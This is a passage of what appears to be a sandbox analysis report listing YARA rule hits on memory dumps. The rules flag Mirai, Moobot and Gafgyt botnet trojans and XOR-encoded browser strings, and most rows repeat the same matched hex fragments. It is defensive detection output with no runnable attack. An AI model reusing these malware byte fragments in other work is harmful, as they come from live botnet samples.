2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6756.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7177.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7301.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7301.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7301.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7029.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7029.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7029.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7029.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7029.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7029.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6293.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6834.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7366.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7366.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7366.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7366.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7366.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7366.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6380.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6380.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6380.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7129.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7129.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7124.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7124.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7124.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7124.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7124.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7124.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6975.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6975.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6975.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6975.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6975.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 